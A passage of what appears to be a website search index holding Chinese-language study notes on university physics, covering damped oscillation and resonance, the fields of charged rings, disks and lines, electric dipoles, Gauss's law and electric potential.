<p>\u56fe\u50cf\u4e0e\u8fc7\u963b\u5c3c\u76f8\u4f3c,\u4f46\u662f\u9707\u8361\u5f97\u66f4\u5feb</p> <p>\u6b20\u963b\u5c3c</p> <p>\u5f53</p> \\[ R^2 &lt; \\frac{4L}{C} \\] <p>\u6b64\u65f6\u4e3a\u6b20\u963b\u5c3c\u9707\u8361</p> <p>\u505a\u632f\u5e45\u4e0d\u65ad\u51cf\u5c0f\u7684\u632f\u52a8</p> light damping <p>\u53d7\u8feb\u632f\u52a8\u548c\u5171\u632f</p> <p>\u5982\u679c\u5916\u52a0\u7535\u538b\u4e3a\u4ea4\u6d41\u7535\uff0c\u5f53\u53d8\u5316\u9891\u7387\u4e0e\u7535\u8def\u56fa\u6709\u9891\u7387\u76f8\u540c\u65f6\uff0c\u7535\u8def\u4f1a\u53d1\u751f\u5171\u632f</p> \u5171\u632f <p>Info</p> <p>\u666e\u901a\u7684\u5929\u7ebf\u65e0\u6cd5\u540c\u65f6\u63a5\u53d7\u5f88\u591a\u7684\u4fe1\u53f7\uff0c\u5982\u679c\u5f88\u591a\u4eba\u4e00\u8d77\u6253\u7535\u8bdd\uff0c\u90a3\u4e48\u7535\u7ebf\u5c31\u4f1a\u762b\u75ea\u6389\uff0c\u4f46\u662f\u5982\u679c\u4f7f\u7528\u7684\u662f\u8d85\u5bfc\u4f53\u5929\u7ebf\uff0c\u7535\u963b\u5f88\u5c0f\uff0c\u5176\u632f\u5e45\u7684\u5bbd\u5ea6\u5f88\u5c0f\u5f88\u5c0f\uff0c\u4e0d\u7528\u62c5\u5fc3\u5171\u632f\u7684\u95ee\u9898</p> <p>\u6700\u540e\uff0c\u9644\u4e0a\u672c\u4eba\u666e\u901a\u7269\u7406\u5b66(I)\u6709\u5173\u963b\u5c3c\u9707\u8361\u7684\u7b14\u8bb0\uff0c\u6709\u7a7a\u518d\u6572\u4e0a\u6765\u5427</p> \u632f\u52a8\u65b9\u7a0b\u63a8\u5bfc <p> \u67e5\u770b</p>"},{"location":"NOTE/Physics/eletronic/","title":"\u7535\u5b66\u90e8\u5206","text":"<p> \u7ea6 5706 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 20 \u5206\u949f</p>"},{"location":"NOTE/Physics/eletronic/#electric-charge-and-coulombs-law","title":"Electric Charge and Coulomb's Law(\u7535\u8377\u548c\u5e93\u4ed1\u5b9a\u5f8b)","text":""},{"location":"NOTE/Physics/eletronic/#a-ring-of-charge","title":"A ring of charge","text":"<p>\u5bf9\u4e8e\u4e00\u4e2a\u5747\u5300\u5e26\u7535\u7684\u5706\u73af\uff0c\u8ddd\u79bb\u5176\u4e2d\u5fc3 \\(z\\) \u7684\u5e26\u7535\u91cf\u4e3a \\(q_0\\) \u6240\u53d7\u7684\u6cbf \\(Z\\) \u65b9\u5411\u7684\u529b \\(F_z\\) </p> <p>\u5148\u8ba1\u7b97\u7535\u8377\u5bc6\u5ea6</p> \\[ \\lambda = \\frac{q}{2 \\pi R} \\] \\[ dF = \\frac{1}{4 \\pi \\epsilon_0} \\frac{q_0 dq}{r^2} = \\frac{1}{4 \\pi \\epsilon_0} \\frac{q_0 \\lambda Rd\\phi}{(z^2 + R^2)} \\] \\[ F_z = \\int dF_z = \\int dF \\cos \\theta = \\int \\frac{q_0 \\lambda Rd\\phi}{4 \\pi \\epsilon_0 (z^2 + R^2)} \\frac{z}{\\sqrt{z^2 + R^2}} \\] \\[ = \\frac{1}{4 \\pi \\epsilon_0} \\int_0^{2\\pi} \\frac{q_0 \\lambda Rz}{(z^2 + R^2)^{3/2}} d\\phi \\] \\[ = \\frac{1}{4 \\pi \\epsilon_0} \\cdot \\frac{q_0 q z}{(z^2 + R^2)^{3/2}} \\bigg|_0^{2\\pi} \\] \\[ = \\frac{1}{4 \\pi \\epsilon_0} \\cdot \\frac{q_0 q z}{(z^2 + R^2)^{3/2}} \\] <p>Note</p> <p>\u5f53 \\(z\\) \u975e\u5e38\u5927,\u539f\u5f0f\u5b50\u5c31\u9000\u5316\u6210\u4e86\u4e24\u4e2a\u70b9\u7535\u8377\u4e4b\u95f4\u7684\u76f8\u4e92\u4f5c\u7528</p> \\[   z \\to +\\infty, F_z \\to \\frac{1}{4 \\pi \\epsilon_0} \\dfrac{q_0q}{z^2} \\]"},{"location":"NOTE/Physics/eletronic/#a-disk-of-charge","title":"A disk of charge","text":"<p>\u5982\u679c\u662f\u4e00\u4e2a\u5706\u76d8\uff0c\\(F_z\\) \u53ef\u4ee5\u7528\u5706\u73af\u6765\u903c\u8fd1</p> \\[ \\sigma = \\frac{q}{\\pi R^2} \\] \\[ dq = \\sigma dA = \\sigma(2 \\pi \\omega d\\omega) = 2 \\pi \\sigma \\omega d\\omega \\] \\[ dF_z = \\frac{1}{4 \\pi \\epsilon_0} \\frac{q_0 (2 \\pi \\sigma \\omega d\\omega) z}{(z^2 + \\omega^2)^{3/2}} \\] \\[ F_z = \\frac{1}{4 \\pi \\epsilon_0} q_0 2 \\pi \\sigma z \\int_0^{R} \\frac{\\omega d\\omega}{(z^2 + \\omega^2)^{3/2}} \\] \\[ = \\frac{1}{4 \\pi \\epsilon_0} \\cdot \\frac{2 q_0 q}{R^2} \\left( 1 - \\frac{z}{\\sqrt{z^2 + R^2}} \\right) \\] <p>\u5f53 \\(z\\) \u975e\u5e38\u5927,\u539f\u5f0f\u5b50\u5c31\u9000\u5316\u6210\u4e86\u4e24\u4e2a\u70b9\u7535\u8377\u4e4b\u95f4\u7684\u76f8\u4e92\u4f5c\u7528(\u7528Taylor\u5c55\u5f00\u5206\u6790)</p> \\[ z \\to +\\infty, F_z \\to \\frac{1}{4 \\pi \\epsilon_0} \\dfrac{q_0q}{z^2} \\] \\[   \\left( 1 - \\frac{z}{\\sqrt{z^2 + R^2}} \\right) \\to \\left( 1- (1+\\frac{R^{2}}{z^{2}})^{-\\frac{1}{2}} \\right) = \\frac{R^{2}}{2z^{2}} \\] <p>Key-point</p> <p>\u5982\u679c\u662f\u4e00\u4e2a\u65e0\u7a77\u5927\u7684\u5706\u76d8\uff0c\u90a3\u4e48\\(R \\to \\infty\\),\u6b64\u65f6 \\(F_z = \\dfrac{1}{4 \\pi \\epsilon_0} \\dfrac{2q_0q}{R^2}\\) \u5176\u7535\u573a\u4e3a</p> \\[ E_z = \\frac{\\sigma}{2 \\varepsilon_0} \\] <p>A infinite stick of charge</p> <p>\u7531\u4e8e\u5bf9\u79f0\u6027\uff0c\u5728\\(x\\)\u65b9\u5411\u4e0a\u6ca1\u6709\u7535\u573a</p> \\[ \\begin{align*}   dq &amp;= \\lambda dx = \\lambda d(r \\tan \\theta) = \\lambda r \\sec^2 \\theta d\\theta \\\\   dE_y &amp;= dE \\cos \\theta= \\frac{1}{4 \\pi \\varepsilon_0} \\frac{dq}{r'^2} \\cos \\theta \\\\   &amp;= \\frac{1}{4 \\pi \\varepsilon_0} \\frac{\\lambda r\\cos^2 \\theta \\sec^2 \\theta d\\theta}{r^2} \\cos \\theta \\\\   &amp;= \\frac{1}{4 \\pi \\varepsilon_0} \\frac{\\lambda \\cos \\theta d\\theta}{r}\\\\   E_y &amp;= \\int_{-\\frac{\\pi}{2}}^{\\frac{\\pi}{2}} dE_y = \\int_{-\\frac{\\pi}{2}}^{\\frac{\\pi}{2}} \\frac{1}{4 \\pi \\varepsilon_0} \\frac{\\lambda \\cos \\theta d\\theta}{r} \\\\   &amp;= \\dfrac{\\lambda}{2 \\pi \\varepsilon_0 r} \\ \\end{align*} \\]"},{"location":"NOTE/Physics/eletronic/#dipole","title":"Dipole(\u7535\u5076\u6781\u77e9)","text":"<p>Definition</p> <p>\u7535\u5076\u6781\u77e9\u662f\u63cf\u8ff0\u5e26\u7535\u7c92\u5b50\u7cfb\u7edf\u4e2d\u7535\u8377\u5206\u5e03\u7684\u7269\u7406\u91cf\uff0c\u901a\u5e38\u7528\u4e8e\u91cf\u5316\u4e24\u4e2a\u76f8\u53cd\u7535\u8377\u4e4b\u95f4\u7684\u5206\u79bb\u7a0b\u5ea6\u548c\u65b9\u5411\u3002\u5728\u7ecf\u5178\u7535\u78c1\u5b66\u4e2d\uff0c\u7535\u5076\u6781\u77e9\u901a\u5e38\u8868\u793a\u4e3a\u4e00\u4e2a\u77e2\u91cf\uff0c\u5176\u5927\u5c0f\u7b49\u4e8e\u7535\u8377\u91cf\u4e58\u4ee5\u7535\u8377\u95f4\u7684\u8ddd\u79bb\u3002 \u5b9a\u4e49\u4e3a\uff1a</p> \\[ \\boldsymbol{p} = q \\cdot \\boldsymbol{d} \\] <p>\u5176\u4e2d\uff1a</p> <ul> <li>\\( q \\) \u662f\u4e24\u4e2a\u76f8\u53cd\u7535\u8377\u7684\u7535\u8377\u91cf\uff0c</li> <li>\\( \\mathbf{d} \\) \u662f\u4ece\u8d1f\u7535\u8377\u6307\u5411\u6b63\u7535\u8377\u7684\u77e2\u91cf\uff0c\u8868\u793a\u4e24\u4e2a\u7535\u8377\u4e4b\u95f4\u7684\u8ddd\u79bb\u3002</li> </ul> <p>\u7535\u5076\u6781\u77e9\u7684\u65b9\u5411\u4ece\u8d1f\u7535\u8377\u6307\u5411\u6b63\u7535\u8377\uff0c\u56e0\u6b64\u5728\u5206\u5b50\u6216\u539f\u5b50\u7cfb\u7edf\u4e2d\uff0c\u5b83\u53cd\u6620\u4e86\u7535\u8377\u4e0d\u5bf9\u79f0\u5206\u5e03\u7684\u7a0b\u5ea6\u3002\u5bf9\u4e8e\u5206\u5b50\uff0c\u7535\u5076\u6781\u77e9\u7684\u5927\u5c0f\u548c\u65b9\u5411\u5bf9\u5206\u5b50\u7684\u5316\u5b66\u6027\u8d28\u548c\u53cd\u5e94\u6027\u6709\u91cd\u8981\u5f71\u54cd\u3002</p> <p>\u7535\u5076\u6781\u77e9\u7684\u5355\u4f4d\u901a\u5e38\u662f\u5fb7\u62dc\uff08Debye\uff0c\u7b26\u53f7\u4e3a D\uff09\uff0c1 \u5fb7\u62dc\u5927\u7ea6\u7b49\u4e8e \\( 3.33564 \\times 10^{-30} \\) \u5e93\u4ed1\u00b7\u7c73\u3002</p> <p>\u6839\u636e\u7535\u5076\u6781\u77e9\u53ef\u4ee5\u5c06\u5206\u5b50\u95f4\u4f5c\u7528\u529b\u5206\u4e3a\u51e0\u79cd\u7c7b\u578b</p> <ul> <li>\u79bb\u5b50-\u5076\u6781\u76f8\u4e92\u4f5c\u7528\uff08Ion-Dipole Interaction\uff09</li> </ul> <p>\u79bb\u5b50-\u5076\u6781\u76f8\u4e92\u4f5c\u7528\u53d1\u751f\u5728\u5e26\u7535\u7684\u79bb\u5b50\u548c\u6781\u6027\u5206\u5b50\u4e4b\u95f4\u3002\u5f53\u79bb\u5b50\uff08\u5982 \\( \\text{Na}^+ \\) \u6216 \\( \\text{Cl}^- \\)\uff09\u9760\u8fd1\u4e00\u4e2a\u6709\u7535\u5076\u6781\u77e9\u7684\u5206\u5b50\uff08\u5982\u6c34\u5206\u5b50\uff0cH\\(_2\\)O\uff09\u65f6\uff0c\u79bb\u5b50\u4f1a\u4e0e\u6781\u6027\u5206\u5b50\u7684\u90e8\u5206\u6b63\u7535\u8377\u6216\u8d1f\u7535\u8377\u4ea7\u751f\u5438\u5f15\u529b\u3002</p> <p>Eg</p> <p>\u5728\u76d0\u6eb6\u89e3\u4e8e\u6c34\u7684\u8fc7\u7a0b\u4e2d\uff0c\u6c34\u5206\u5b50\u7684\u6781\u6027\u90e8\u5206\uff08\u6c27\u7684\u8d1f\u7535\u90e8\u5206\u6216\u6c22\u7684\u6b63\u7535\u90e8\u5206\uff09\u4e0e\u94a0\u79bb\u5b50\u6216\u6c2f\u79bb\u5b50\u4e4b\u95f4\u4ea7\u751f\u7684\u5438\u5f15\u529b\u662f\u79bb\u5b50-\u5076\u6781\u76f8\u4e92\u4f5c\u7528\u3002\u8fd9\u79cd\u76f8\u4e92\u4f5c\u7528\u6709\u52a9\u4e8e\u6eb6\u89e3\u8fc7\u7a0b\u3002</p> <ul> <li>\u5076\u6781-\u5076\u6781\u76f8\u4e92\u4f5c\u7528\uff08Dipole-Dipole Interaction\uff09</li> </ul> <p>\u5076\u6781-\u5076\u6781\u76f8\u4e92\u4f5c\u7528\u53d1\u751f\u5728\u4e24\u4e2a\u6781\u6027\u5206\u5b50\u4e4b\u95f4\uff0c\u8fd9\u4e9b\u5206\u5b50\u90fd\u6709\u6c38\u4e45\u7684\u5076\u6781\u77e9\u3002\u5f53\u4e00\u4e2a\u5206\u5b50\u7684\u6b63\u7535\u90e8\u5206\u63a5\u8fd1\u53e6\u4e00\u4e2a\u5206\u5b50\u7684\u8d1f\u7535\u90e8\u5206\u65f6\uff0c\u5b83\u4eec\u4e4b\u95f4\u4f1a\u4ea7\u751f\u5438\u5f15\u529b\u3002</p> <p>Eg</p> <p>\u50cf\u6c2f\u5316\u6c22 (HCl) \u8fd9\u6837\u7684\u6781\u6027\u5206\u5b50\u4e4b\u95f4\u7684\u76f8\u4e92\u4f5c\u7528\u5c31\u5c5e\u4e8e\u5076\u6781-\u5076\u6781\u76f8\u4e92\u4f5c\u7528\u3002HCl \u5206\u5b50\u7684\u6c2f\u539f\u5b50\u5e26\u8d1f\u7535\uff0c\u800c\u6c22\u539f\u5b50\u5e26\u6b63\u7535\uff0c\u8fd9\u4e24\u79cd\u76f8\u53cd\u7684\u7535\u8377\u76f8\u4e92\u5438\u5f15\uff0c\u4ece\u800c\u5f62\u6210\u5076\u6781-\u5076\u6781\u76f8\u4e92\u4f5c\u7528\u3002</p> <ul> <li>\u4f26\u6566\u8272\u6563\u529b\uff08London Dispersion Force\uff09</li> </ul> <p>\u4f26\u6566\u8272\u6563\u529b\uff0c\u53c8\u79f0\u4e3a**\u77ac\u65f6\u5076\u6781-\u8bf1\u5bfc\u5076\u6781\u529b**\uff0c\u662f\u4e00\u79cd\u5728\u6240\u6709\u539f\u5b50\u548c\u5206\u5b50\u4e4b\u95f4\u90fd\u5b58\u5728\u7684\u5f31\u76f8\u4e92\u4f5c\u7528\u529b\uff0c\u7279\u522b\u662f\u5bf9\u4e8e\u975e\u6781\u6027\u5206\u5b50\u3002\u5b83\u662f\u7531\u77ac\u65f6\u7684\u7535\u5b50\u8fd0\u52a8\u5f15\u8d77\u7684\uff0c\u5373\u5728\u67d0\u4e2a\u77ac\u95f4\uff0c\u5206\u5b50\u6216\u539f\u5b50\u5468\u56f4\u7684\u7535\u5b50\u4e91\u5206\u5e03\u4e0d\u5747\u5300\uff0c\u5f62\u6210\u77ac\u65f6\u5076\u6781\uff0c\u8fd9\u4e2a\u77ac\u65f6\u5076\u6781\u4f1a\u8bf1\u5bfc\u4e34\u8fd1\u5206\u5b50\u6216\u539f\u5b50\u4ea7\u751f\u76f8\u4f3c\u7684\u77ac\u65f6\u5076\u6781\uff0c\u4ece\u800c\u4ea7\u751f\u5438\u5f15\u529b\u3002</p> <p>Eg</p> <p>\u5373\u4f7f\u662f\u50cf\u6c2e\u6c14 (N\\(_2\\)) \u548c\u6c27\u6c14 (O\\(_2\\)) \u8fd9\u6837\u7684\u975e\u6781\u6027\u5206\u5b50\uff0c\u4e5f\u5b58\u5728\u4f26\u6566\u8272\u6563\u529b\u3002\u8fd9\u79cd\u76f8\u4e92\u4f5c\u7528\u867d\u7136\u5f88\u5f31\uff0c\u4f46\u5bf9\u5927\u591a\u6570\u975e\u6781\u6027\u7269\u8d28\u7684\u51dd\u805a\u529b\u548c\u7194\u6cb8\u70b9\u6709\u91cd\u8981\u5f71\u54cd\u3002</p>"},{"location":"NOTE/Physics/eletronic/#_2","title":"\u7535\u5076\u6781\u77e9\u4ea7\u751f\u7684\u7535\u573a","text":"\\[   E_x(x,0)=0(symmetry) \\] \\[ E_y(x,0) = -2 \\cdot \\frac{1}{4 \\pi \\varepsilon_0} \\cdot \\frac{Q}{r^2} \\sin \\theta \\] \\[ \\sin \\theta = \\frac{a}{r}, \\quad r^2 = x^2 + a^2 \\] \\[ E_y(x,0) = -2 \\cdot \\frac{1}{4 \\pi \\varepsilon_0} \\cdot \\frac{Qa}{(x^2 + a^2)^{3/2}} \\] <p>Note</p> \\[ for \\ r&gt;&gt;a  \\\\ E_y(r,0) = -2 \\cdot \\frac{1}{4 \\pi \\varepsilon_0} \\cdot \\frac{Qa}{r^3} \\] <p>\u5982\u679c\u8003\u8651 \\((0,y)\\) \u4e0a\u7684\u7535\u573a\uff0c\u5219\u5176\u5728 \\(x\\) \u65b9\u5411\u4e0a\u6ca1\u6709\u5206\u91cf</p> \\[   E_x(0,y)=0 \\] \\[ \\begin{align*} E_y(0,y) &amp;= \\frac{Q}{4 \\pi \\varepsilon_0} \\cdot \\left(\\frac{1}{(y-a)^2}-\\frac{1}{(y+a)^2}\\right)\\\\          &amp;= \\frac{Q}{4 \\pi \\varepsilon_0} \\cdot \\dfrac{4ay}{y^4(1-\\frac{a^2}{y^2})^2} \\end{align*} \\] <p>Note</p> \\[ for \\ r&gt;&gt;a  \\\\ E_y(0,r) = 4 \\cdot \\frac{1}{4 \\pi \\varepsilon_0} \\cdot \\frac{Qa}{r^3} \\] <p>Eg</p> <p>\u5317\u9ad8\u5cf0\u4e0a\u7684\u5929\u7ebf\u548c\u7d2b\u91d1\u6e2f\u7684\u5206\u5b50</p> <p>\\(E\\) \u548c \\(r^3\\) \u6210\u53cd\u6bd4 </p> <p>Key-point</p> <p>\u7535\u5076\u6781\u77e9\u7684\u7535\u573a\u4e0e\u8ddd\u79bb\\(r^3\\)\u6210\u53cd\u6bd4\uff0c\u800c\u70b9\u7535\u8377\u7684\u7535\u573a\u4e0e\u8ddd\u79bb\\(r^2\\)\u6210\u53cd\u6bd4\uff0c\u65e0\u7a77\u957f\u5bfc\u7ebf\u7684\u7535\u573a\u4e0e\u8ddd\u79bb\\(r\\)\u6210\u53cd\u6bd4</p>"},{"location":"NOTE/Physics/eletronic/#_3","title":"\u7535\u5076\u6781\u77e9\u5728\u7535\u573a\u4e2d","text":"\\[    \\tau = F \\cdot \\frac{d}{2} \\sin \\theta + F \\cdot \\frac{d}{2} \\sin \\theta = Fd \\sin \\theta = qEd \\sin \\theta    = pE \\sin \\theta \\] \\[     \\boldsymbol{p}=q\\boldsymbol{d} \\\\     \\boldsymbol{\\tau}= \\boldsymbol{p} \\times \\boldsymbol{E} \\] <p>Key-point</p> <p>\u7535\u5076\u6781\u77e9\u5728\u7535\u573a\u4e2d\u53d7\u5230\u7684\u529b\u77e9\u4f1a\u9a71\u4f7f\u7535\u5076\u6781\u77e9\u65cb\u8f6c\u4e0a\u4e0e\u7535\u573a\u65b9\u5411\u5bf9\u9f50</p> <p>\u5bf9\u4e8e\u7535\u5076\u6781\u77e9\u5728\u7535\u573a\u4e2d\u7684\u52bf\u80fd</p> \\[ \\begin{align*}   W &amp;=\\int dw = \\int_{\\theta_0}^{\\theta} \\tau \\cdot d\\theta = - \\int_{\\theta_0}^{\\theta} pE \\sin \\theta d\\theta \\\\    &amp;= pE(\\cos \\theta - \\cos \\theta_0) \\\\   \\Delta U &amp;= U(\\theta) - U(\\theta_0)=-W\\\\            &amp;= pE(\\cos \\theta_0 - \\cos \\theta)\\\\   \\theta_0 &amp;= \\frac{\\pi}{2}, U(\\theta_0) = 0\\\\  U(\\theta) &amp;= -pE\\cos \\theta= -\\boldsymbol{p} \\cdot \\boldsymbol{E} \\end{align*} \\] <p>\u7b2c\u4e00\u4e2a\u5f0f\u5b50\u7684\u8d1f\u53f7\u662f\u56e0\u4e3a\u529b\u77e9\u4e0e\u89d2\u5ea6\u7684\u53d8\u5316\u65b9\u5411\u76f8\u53cd</p>"},{"location":"NOTE/Physics/eletronic/#gausss-law","title":"Gauss's Law(\u9ad8\u65af\u5b9a\u7406)","text":""},{"location":"NOTE/Physics/eletronic/#_4","title":"\u7535\u573a\u7684\u9ad8\u65af\u5b9a\u7406","text":"<p>Definition</p> <p>The net electric flux through any closed surface is proportional to the charge enclosed by that surface.</p> \\[    \\Phi = \\oiint \\boldsymbol{E} \\cdot d\\boldsymbol{A} = \\frac{q_{enc}}{\\varepsilon_0} \\] <p>E\u4e0d\u4e00\u5b9a\u53ea\u7531q\u4ea7\u751f\uff0c\u4f46\u662fq\u53ea\u7528\u8ba1\u7b97\u88ab\u5305\u88f9\u4f4f\u7684\u7535\u8377</p> <p>\u5728\u6570\u5b66\u5206\u6790\u4e8c\u4e2d\uff0c\u6211\u4eec\u4e5f\u77e5\u9053Gauss\u516c\u5f0f\uff0c\u5373\uff1a</p> <p>Note</p> <p>\u8bbe \\(\\Omega\\) \u662f\u5206\u6bb5\u5149\u6ed1\u7684\u5c01\u95ed\u66f2\u9762\u6784\u6210\u7684\u4e8c\u7ef4\u5355\u8fde\u901a\u533a\u57df\uff0c\u51fd\u6570 \\(P(x,y,z),Q(x,y,z),R(x,y,z)\\) \u5728 $\\Omega $ \u4e0a\u5177\u6709\u8fde\u7eed\u504f\u5bfc\u6570, \u5219</p> \\[   \\iiint_{\\Omega} \\left( \\frac{\\partial P}{\\partial x} + \\frac{\\partial Q}{\\partial y} + \\frac{\\partial R}{\\partial z} \\right) dV = \\iint_{\\partial \\Omega} Pdydz + Qdzdx + Rdxdy \\] <p>\u5c06\u4e24\u8005\u7ed3\u5408\u8d77\u6765\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u5f97\u5230\u9ad8\u65af\u5b9a\u7406\u7684\u5fae\u5206\u5f62\u5f0f</p> \\[    \\Phi=\\oiint \\boldsymbol{E} \\cdot d\\boldsymbol{A} = \\iiint \\nabla \\cdot \\boldsymbol{E} dV \\] <p>\u800c</p> \\[      \\frac{q_{enc}}{\\varepsilon_0}= \\iiint \\frac{\\rho}{\\varepsilon_0} dV  \\] <p>\u6240\u4ee5</p> \\[    \\nabla \\cdot \\boldsymbol{E} = \\frac{\\rho}{\\varepsilon_0} \\] <p>Key-point</p> <p>\u8fd0\u7528\u9ad8\u65af\u5b9a\u7406\u53ef\u4ee5\u901a\u8fc7\u7535\u8377\u6c42\u7535\u573a\uff0c\u4e5f\u53ef\u4ee5\u901a\u8fc7\u7535\u573a\u6c42\u7535\u8377\uff0c\u5173\u952e\u5728\u4e8e\u9ad8\u65af\u9762\u7684\u9009\u53d6\uff0c\u4e00\u822c\u800c\u8a00\uff0c\u9009\u53d6\u7403\u9762\uff0c\u5706\u67f1\u9762\uff0c\u6216\u8005\u957f\u65b9\u4f53\u8868\u9762\u66f4\u52a0\u65b9\u4fbf\u8ba1\u7b97\uff0c\u9ad8\u65af\u5b9a\u7406\u53ea\u662f\u518d\u8ba1\u7b97\u4e00\u4e9b\u5177\u6709\u7279\u6b8a\u5bf9\u79f0\u6027\u7269\u4f53\u65f6\uff0c\u975e\u5e38\u7684\u65b9\u4fbf\uff0c\u5bf9\u4e8e\u4e00\u822c\u7684\u7269\u4f53\uff0c\u8fd8\u662f\u8981\u7528\u5e93\u4ed1\u5b9a\u5f8b\u6765\u8ba1\u7b97</p> <p>Note</p> <p>\u6211\u4eec\u77e5\u9053\u5bfc\u4f53\u5185\u90e8\u7684\u7535\u573a\u662f0\uff0c\u7531\u9ad8\u65af\u5b9a\u7406\uff0c\u5bfc\u4f53\u7684\u5185\u90e8\u6ca1\u6709\u7535\u8377\uff0c\u6240\u4ee5\u5176\u7535\u8377\u5206\u5e03\u5728\u8868\u9762\u3002</p>"},{"location":"NOTE/Physics/eletronic/#_5","title":"\u9759\u7535\u573a\u7684\u73af\u8def\u5b9a\u5f8b","text":"<p>The circuit Law of the electrostatic field</p> \\[ \\oint \\boldsymbol{E} \\cdot d\\boldsymbol{l} = 0 \\] <p>then</p> \\[ \\nabla \\times \\boldsymbol{E} = 0 \\] <p>\u8fd9\u4e2a\u662f\u7531Stokes\u5b9a\u7406\u63a8\u51fa\u7684\uff0c\u5373\uff1a</p> <p>Note</p> <p>\u8bbe \\(\\Omega\\) \u662f\u5149\u6ed1\u7684\u66f2\u9762\uff0c\u5176\u8fb9\u754c \\(\\partial \\Omega\\) \u662f\u5206\u6bb5\u5149\u6ed1\u7684\u95ed\u66f2\u7ebf\u51fd\u6570 \\(P(x,y,z),Q(x,y,z),R(x,y,z)\\) \u5728 $\\Omega\uff0c\\partial \\Omega $ \u4e0a\u5177\u6709\u8fde\u7eed\u504f\u5bfc\u6570, \u5219</p> \\[\\begin{align*}   \\oint_{\\partial \\Omega} Pdx + Qdy + Rdz &amp;= \\iint_{\\Omega} \\left( \\frac{\\partial R}{\\partial y} - \\frac{\\partial Q}{\\partial z} \\right) dydz + \\left( \\frac{\\partial P}{\\partial z} - \\frac{\\partial R}{\\partial x} \\right) dzdx + \\left( \\frac{\\partial Q}{\\partial x} - \\frac{\\partial P}{\\partial y} \\right) dxdy\\\\   &amp;= \\left\\lvert  \\begin{matrix} \\cos \\alpha &amp; \\cos \\beta &amp; \\cos \\gamma \\\\ \\frac{\\partial}{\\partial x} &amp; \\frac{\\partial}{\\partial y} &amp; \\frac{\\partial}{\\partial z} \\\\ P &amp; Q &amp; R \\end{matrix} \\right\\rvert dS\\\\   &amp;=  \\left\\lvert \\begin{matrix} dydz &amp; dzdx &amp; dxdy \\\\ \\frac{\\partial}{\\partial x} &amp; \\frac{\\partial}{\\partial y} &amp; \\frac{\\partial}{\\partial z} \\\\ P &amp; Q &amp; R \\end{matrix} \\right \\lvert\\\\   &amp;= \\iint_{\\Omega} \\nabla \\times \\boldsymbol{F} \\cdot d\\boldsymbol{S} \\end{align*}\\]"},{"location":"NOTE/Physics/eletronic/#electric-potential","title":"Electric Potential(\u7535\u52bf)","text":""},{"location":"NOTE/Physics/eletronic/#_6","title":"\u7535\u52bf\u80fd\u4e0e\u7535\u52bf","text":"<p>\u7535\u52bf\u662f\u7535\u573a\u4e2d\u67d0\u4e00\u70b9\u7684\u7269\u7406\u91cf\uff0c\u5b9a\u4e49\u4e3a\u5355\u4f4d\u6b63\u7535\u8377\u5728\u8be5\u70b9\u6240\u5177\u6709\u7684\u7535\u52bf\u80fd\u3002\u5177\u4f53\u6765\u8bf4\uff0c\u7535\u52bf \\( V \\) \u53ef\u4ee5\u8868\u793a\u4e3a\uff1a</p> \\[ V = \\frac{U}{q} \\] <p>\u5176\u4e2d \\( U \\) \u662f\u7535\u52bf\u80fd\uff0c\\( q \\) \u662f\u7535\u8377\u91cf\u3002\u7535\u52bf\u662f\u4e00\u4e2a\u6807\u91cf\uff0c\u901a\u5e38\u76f8\u5bf9\u4e8e\u65e0\u9650\u8fdc\u5904\u7684\u7535\u52bf\u4e3a\u96f6\u6765\u8ba1\u7b97\u3002</p> <p>Key-point</p> <p>\u8ba1\u7b97\u67d0\u70b9a\u7684\u7535\u52bf\u7684\u53ef\u4ee5\u4f7f\u7528\u4ece\u8be5\u70b9\u5230\u65e0\u7a77\u8fdc\u7684\u7535\u573a\u7684\u79ef\u5206\uff1a</p> \\[ V = \\int_{a}^{\\infty} \\boldsymbol{E} \\cdot d\\boldsymbol{l} \\] <p>\u56e0\u4e3a\\(W_{a}^{\\infty}=-U_{a}^{\\infty}=U_a-U_{\\infty}\\),\u800c \\(U_{\\infty}=0\\),\\(W=\\int q \\boldsymbol{E} \\cdot d\\boldsymbol{l}\\),\\(V = \\frac{U}{q}\\)</p> <p>\u6839\u636e\u8fd9\u4e2a\u5f0f\u5b50\u53ef\u4ee5\u5f97\u5230 \u70b9\u7535\u8377\u4ea7\u751f\u7684\u7535\u52bf</p> \\[ V = \\frac{q}{4 \\pi \\varepsilon_0 r} \\] <p>\u6839\u636e\u70b9\u7535\u8377\u4ea7\u751f\u7684\u7535\u52bf\uff0c\u53ef\u4ee5\u5f97\u5230\u7535\u5076\u6781\u77e9\u4ea7\u751f\u7684\u7535\u52bf</p> \\[\\begin{align*}   V &amp;= \\dfrac{q}{4 \\pi \\varepsilon_0} \\left( \\frac{1}{r_1} - \\frac{1}{r_2} \\right)\\\\     &amp;=  \\dfrac{q}{4 \\pi \\varepsilon_0} \\left( \\frac{r_1-r_2}{r_1r_2}\\right) \\end{align*}\\] <p>\u5f53 \\(r &gt;&gt; a\\), \\(r_1 \\approx r_2 \\approx r\\)\uff0c\u6240\u4ee5\\(r_1-r_2 \\approx 2a\\cos \\theta,r_1r_2 \\approx r^2,p=2aq\\)</p> \\[\\begin{align*}   V &amp;=  \\dfrac{q}{4 \\pi \\varepsilon_0} \\left( \\dfrac{2a \\cos \\theta}{r^2}\\right)\\\\     &amp;=  \\dfrac{p \\cos \\theta}{4 \\pi \\varepsilon_0 r^2}\\\\     &amp;=  \\dfrac{p \\cdot \\hat{r}}{4 \\pi \\varepsilon_0 r^2} \\end{align*}\\] <p>\\(\\theta = \\frac{\\pi}{2},V=0;\\theta=0,V_{max}&gt;0;\\theta=\\pi,V_{min}&lt;0\\)</p> <p>\u4e5f\u53ef\u4ee5\u63a8\u5bfc\u7535\u56db\u5076\u6781\u77e9\u7684\u7535\u52bf</p> \\[\\begin{align*} V(r) &amp;= \\sum_i V_i(r_i) \\\\      &amp;= \\frac{1}{4 \\pi \\epsilon_0} \\left( \\frac{q}{r - d} + \\frac{-2q}{r} + \\frac{q}{r + d} \\right) \\\\      &amp;= \\frac{1}{4 \\pi \\epsilon_0} \\frac{2 q d^2}{r(r^2 - d^2)} \\\\      &amp;= \\frac{1}{4 \\pi \\epsilon_0} \\frac{2 q d^2}{r^3 \\left( 1 - \\frac{d^2}{r^2} \\right)} \\end{align*}\\] \\[For \\enspace d &lt;&lt; r, \\frac{d^2}{r^2} &lt;&lt; 1 \\\\ V(r) = \\frac{2 q d^2}{4 \\pi \\epsilon_0 r^3} = \\frac{Q}{4 \\pi \\epsilon_0 r^3}\\] <p>\u5176\u4e2d \\(Q = 2qd^2\\) 